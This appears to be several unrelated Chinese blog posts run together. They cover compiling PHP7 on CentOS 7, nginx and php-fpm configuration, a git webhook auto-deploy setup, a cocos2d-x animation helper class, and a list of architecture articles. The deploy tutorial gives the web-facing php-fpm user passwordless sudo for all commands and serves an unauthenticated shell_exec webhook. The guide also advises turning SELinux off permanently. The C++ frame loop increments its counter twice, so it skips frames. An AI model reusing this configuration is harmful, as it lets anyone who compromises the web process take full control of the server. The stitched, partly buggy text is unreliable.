--enable-soap \
--enable-pcntl \
--enable-bcmath \
--enable-filter \
--enable-session \
--enable-sockets \
--enable-calendar \
--enable-mbstring \
--enable-simplexml \
--disable-fileinfo \
--with-bz2 \
--with-cdb \
--with-xpm \
--with-jpeg \
--with-pear \
--with-curl \
--with-pear \
--with-zlib \
--with-mhash \
--with-iconv \
--with-mysqli \
--with-openssl \
--with-pdo-mysql \
--with-mysql-sock \
--with-openssl-dir \
--with-external-gd \
--with-freetype=/usr/local/freetype
  • 安装php
make
make install
  • 测试是否安装成功
/usr/local/php7/bin/php -v
  • 做软链,以便直接用php运行
 ln -sf /usr/local/php7/bin/php /usr/local/bin/php
 ln -sf /usr/local/php7/bin/php-config /usr/bin/php-config
  • 验证
php -v
  • 复制配置文件
cp /usr/src/php7/php.ini-development /usr/local/php7/lib/php.ini
  • 配置php-fpm
cp /usr/local/php7/etc/php-fpm.conf.default /usr/local/php7/etc/php-fpm.conf
cp /usr/local/php7/etc/php-fpm.d/www.conf.default /usr/local/php7/etc/php-fpm.d/www.conf
cp /usr/src/php7/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
chmod +x /etc/init.d/php-fpm
  • 启动php-fpm
service php-fpm start
# 配置开机启动
chkconfig php-fpm on

相关配置

配置nginx

  • 修改nginx.conf文件
vi /etc/nginx/nginx.conf

注意:server 中需添加root 配置,否则$document_root无效,下面的是/etc/nginx/nginx.conf示例配置

# /etc/nginx/nginx.conf
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log;
worker_rlimit_nofile 65535;
events {
    worker_connections 1024;
}

http {
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';
    #access_log  /var/log/nginx/access.log  main;

    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         on;
    keepalive_timeout   65;
    types_hash_max_size 2048;

    client_max_body_size 20m;

    include             /etc/nginx/mime.types;
    default_type        application/octet-stream;

    # Load modular configuration files from the /etc/nginx/conf.d directory.
    # See http://nginx.org/en/docs/ngx_core_module.html#include
    # for more information.
    include /etc/nginx/conf.d/*.conf;

    server {
        listen       80 default_server;
        server_name  _;
        root         /usr/share/nginx/html;

        # Load configuration files for the default server block.
        #include /etc/nginx/default.d/*.conf;

        location / {
        }

        error_page 404 /404.html;
            location = /40x.html {
        }

        error_page 500 502 503 504 /50x.html;
            location = /50x.html {
        }
        location  ~ \.php(/|$) {
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            include fastcgi_params;
        }
    }
}
  • 重启nginx
service nginx restart
  • 在web目录下新建一个php文件
echo '<?php phpinfo();' > /usr/share/nginx/html/info.php

nginx虚拟机配置

以 www.test.com 为例

# 编辑虚拟机配置文件 vhosts若不存在则需创建
mkdir /etc/nginx/vhosts
vi /etc/nginx/vhosts/test.com.conf

输入以下内容

server {
        listen       80;
        server_name  www.test.com; # 网站域名
        root   "/usr/share/nginx/html/test";  #网站路径
        location / {
            index  index.html index.htm index.php;
            if (!-e $request_filename) { #地址重写规则,可在地址栏中隐藏index.php
                rewrite  ^(.*)$  /index.php?s=$1  last;
                break;
            }
            #autoindex  on;  # 自动索引
        }
        location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}

安装php7扩展

《CenOS7环境安装PHP7扩展》

安装mysql

《Centos7.3 安装Mysql5.7并修改初始密码》

常见问题

解决SELinux启用带来的资源无法访问的问题。问题原因:SELiux阻止了nginx用户访问nginx非授权目录。

#查看问题报告
yum install setroubleshoot
sealert -a /var/log/audit/audit.log > /var/log/audit/audit.format.log

#添加nginx的访问web目录权限
ausearch -c 'nginx' --raw | audit2allow -M my-nginx
semodule -i my-nginx.pp

永久关系SELinux

vim /etc/selinux/config 

#更改SELINUX=disable

如有其它问题,请在下方留言^_^

感受

在进行webhook自动部署的时候,踩了好多好多坑,也查了不少资料,结果却是走了许多弯路,这里我主要讲述我在配置的过程中进行的一系列操作。

操作环境

centos7 , php7 , nginx1.10

具体步骤

  • 创建一个用户组
groupadd web
  • 创建一个用户(用户目录在/home/web 名称为web 所属组为web)
useradd -d /home/web -m web -g web
  • 编辑php-fpm的配置文件并重启php-fpm服务
vim /usr/local/php7/etc/php-fpm.d/www.conf

#修改配置文件中的 user=nobody 与 group=nobody
user=web
group=web

service php-fpm restart
  • 生成密钥并查看,复制粘贴将其添加进coding账户中的ssh公钥列表中
sudo -Hu web ssh-keygen -t rsa
cat /home/web/.ssh/id_rsa.pub
  • 修改sudoers
visudo

#root    ALL=(ALL)       ALL  这句下面添加下面这句
web ALL=(ALL) NOPASSWD:ALL
  • 通过git克隆代码仓库至/www/web目录(需切换至新用户操作,并且要通过ssh方式克隆,而非https)
su web
git clone git@git.coding.net:xxxxx/xxxxx.git /www/web
  • 准备githook.php文件
<?php
$a = shell_exec('cd /www/web/ && git remote update -p && git checkout -f origin/master && git submodule update --init ');
print_r($a);
  • 在项目中设置webhook,设置访问githook.php文件的链接地址

相关操作及具体阐释

  • 用户组相关操作
#创建用户组
groupadd my_group
#修改用户组
groupmod -n my_group2 my_group #注意:被操作的 要写在最后面
#删除用户组
groupdel my_group2 
#查看当前登陆用户所属组
groups 
#查看某用户对应的用户组
groups root #root可以替换为其它用户名
#查看所有用户组及其对应id
cat /etc/group

  • 用户相关操作
# useradd 、usermod 相关参数
Options:
 -b, --base-dir BASE_DIR       设置基本路径作为用户的登录目录
 -c, --comment COMMENT         对用户的注释
 -d, --home-dir HOME_DIR       设置用户的登录目录
 -D, --defaults                改变设置
 -e, --expiredate EXPIRE_DATE  设置用户的有效期
 -f, --inactive INACTIVE       用户过期后,让密码无效
 -g, --gid GROUP               使用户只属于某个组
 -G, --groups GROUPS           使用户加入某个组
 -h, --help                    帮助
 -k, --skel SKEL_DIR           指定其他的skel目录
 -K, --key KEY=VALUE           覆盖 /etc/login.defs 配置文件
 -m, --create-home             自动创建登录目录  
 -l,                           不把用户加入到lastlog文件中  
 -M,                           不自动创建登录目录  
 -r,                           建立系统账号  
 -o, --non-unique              允许用户拥有相同的UID  
 -p, --password PASSWORD       为新用户使用加密密码  
 -s, --shell SHELL             登录时候的shell  
 -u, --uid UID                 为新用户指定一个UID  
 -Z, --selinux-user SEUSER     use a specific SEUSER for the SELinux user mapping  

#创建用户
useradd -d /home/web_admin -m web_admin #配置参数在前,名称放在最后
#修改用户
usermod -d /home/web_admin2 -G my_group web_admin #依然是配置参数在前,名称放在最后
#删除用户
userdel web_admin
#查看当前登陆用户
whoami
#查看某个用户
finger web_admin #如果finger程序没有的话,执行yum install finger 安装一个就好了
#查看登录成功的用户记录
last 
#查看登录不成功的用户记录
lastb
#查看所有用户
cut -d : -f 1 /etc/passwd  #或者 cat /etc/passwd |awk -F \: '{print $1}'

  • php-fpm相关操作
#查看php-fpm子进程的运行用户
ps -ef|grep php-fpm
#如果php-fpm子进程的运行用户是nobody,则最好新建一个用户,用来运行php-fpm。另外,php-fpm的父进程一般是root,这个一般无需改动。

#编辑php-fpm配置文件
vim /usr/local/php7/etc/php-fpm.d/www.conf #配置文件位置因人而异,主要看搭环境的时候怎么配的了

#修改配置文件中的 user= 与 group=

#重启php-fpm
service php-fpm restart

  • ssh免密码登陆
#指定用户 生成公钥
sudo -Hu web_admin ssh-keygen -t rsa #其中web_admin是指定的用户名

#查看公钥
cat /home/web_admin/.ssh/id_rsa.pub  #因为我的是默认操作,所以自动在web_admin下的.ssh文件夹下生成。如果是生成其它用户的,则路径改为那个用户的文件夹路径

#进入coding的ssh公钥设置页面,添加id_rsa.pub文件的所有内容

  • 修改sudoers
visudo
#Defaults    requiretty 此句无注释

#root    ALL=(ALL)       ALL  这句下面加一句
web_admin ALL=(ALL) NOPASSWD:ALL 
#web_admin为分配的用户名,NOPASSWD为不需要密码的意思

  • 准备githook.php文件
<?php
$a = shell_exec('cd /www/web/ && git remote update -p && git checkout -f origin/master && git submodule update --init ');
print_r($a);

/** 先用terminal在项目目录下用运行php-fpm的用户执行php githook.php,针对遇到的问题做特定调整。
 *  常见的问题有:
 *  1.无执行权限(更改项目所属用户为php-fpm运行用户)
 *  2.目录不存在(调整项目路径)
 *  3.无法访问远程仓库权限(检查是否在coding中添加ssh密钥)
 */

错误示例一:每次shell_exec执行git操作前都要加cd,否则,git命令无法执行

 shell_exec("cd /www/my/blog ");
 shell_exec("git status && git remote update -p  && git checkout origin/master && git submodule update --init");

错误示例二:用visudo编辑过sudoers文件,并添加web_admin用户之后,无需加sudo

shell_exec("cd /www/my/blog && sudo git status && sudo git remote update -p  && sudo git checkout origin/master && git submodule update --init");
chown web_admin /www/web_dir/ -R  #web_dir为项目目录

如遇其它问题,欢迎再下面评论区交流^_^

动画帧工具类

ActionTool.h

#pragma once
#ifndef ActionTool_H__
#define ActionTool_H__

#include "cocos2d.h"
USING_NS_CC;

class ActionTool {
public:
    //无帧数量创建动画
    static Animate* animationWithFrameName(const char *frameName, int iloops, float delay);
    //有帧数量创建动画
    static Animate* animationWithFrameAndNum(const char *frameName, int num, float delay);

};
#endif // !ActionTool_H__s

ActionTool.cpp

  • 引用头文件

    #include "ActionTool.h"
  • 无帧数量创建动画

    Animate* ActionTool::animationWithFrameName(const char *each_name, int iloops, float delay)
    {
      SpriteFrame* frame = NULL;
      Animation* animation = Animation::create();
      int index = 1;
      //遍历所有可执行帧
      do {
          //通过名字来获取动画帧
          String *name = String::createWithFormat("%s%d",each_name,index++);
    
          frame = SpriteFrameCache::getInstance()->getSpriteFrameByName(name->getCString());
          if (frame == NULL) {
              break;
          }
          animation->addSpriteFrame(frame);
      } while (true);
      animation->setDelayPerUnit(delay);
      animation->setRestoreOriginalFrame(true);
      Animate* animate = Animate::create(animation);
      return animate;
    }
  • 有帧数量创建动画

    Animate* ActionTool::animationWithFrameAndNum(const char *frameName, int framecount, float delay) {
      SpriteFrame* frame = NULL;
      Animation* animation = Animation::create();
      int index = 1;
      for (int index = 1; index <= framecount; index++) {
          String *name = String::createWithFormat("%s%d", frameName, index++);
          frame = SpriteFrameCache::getInstance()->getSpriteFrameByName(name->getCString());
          animation->addSpriteFrame(frame);
      }
      animation->setDelayPerUnit(delay);
      animation->setRestoreOriginalFrame(true);
      Animate* animate = Animate::create(animation);
      return animate;
    
      /*第二种方法
      //向量
      Vector<SpriteFrame*>animFrames;
      char str[20];
      for (int k = 1; k <= framecount; k++) {
          sprintf(str , "%s%d.png",frameName , k);
          SpriteFrame *frame = SpriteFrameCache::getInstance()->spriteFrameByName(str);
          animFrames.pushBack(frame);
      }
      return Animate::create(Animation::createWithSpriteFrames(animFrames, delay));
      */
    }

大型网站架构演化历程

Web

支付宝和蚂蚁花呗的技术架构及实践

支付宝的高可用与容灾架构演进

聚划算架构演进和系统优化 (视频+PPT)

淘宝交易系统演进之路 (专访)

淘宝数据魔方技术架构解析

秒杀系统架构分析与实战

腾讯社区搜索架构演进(视频+PPT)

京东峰值系统设计

京东咚咚架构演进

新浪微博平台架构

微博图床架构揭秘

微博推荐架构的演进

当当网系统分级与海量信息动态发布实践

当当网架构演进及规划实现(视频+PPT)

LinkedIn架构这十年

Facebook’s software architecture(英文)

从0到100——知乎架构变迁史

豆瓣的基础架构

搜狗搜索广告检索系统-弹性架构演进之路(视频+PPT)

小米网抢购系统开发实践

小米抢购限流峰值系统「大秒」架构解密

海尔电商峰值系统架构设计最佳实践

唯品会峰值系统架构演变

1号店电商峰值与流式计算

蘑菇街如何在双11中创造99.99%的可用性

麦包包峰值架构实践

苏宁易购:商品详情系统架构设计

携程的技术演进之路

篱笆网技术架构性能演进(视频+PPT)

从技术细节看美团的架构(1.26日更新)

无线

阿里无线技术架构演进

手机淘宝构架演化实践

手淘技术架构演进细节

手机淘宝移动端接入网关基础架构演进之路

微信后台系统的演进之路

微信红包的架构设计简介

微信Android客户端架构演进之路

Android QQ音乐架构演进(视频+PPT)

快的打车架构实践

Uber 四年时间增长近 40 倍,背后架构揭秘

Uber容错设计与多机房容灾方案

大众点评移动应用的架构演进(视频+PPT)

饿了么移动APP的架构演进

其他

魅族实时消息推送架构

魅族云端同步的架构实践和协议细节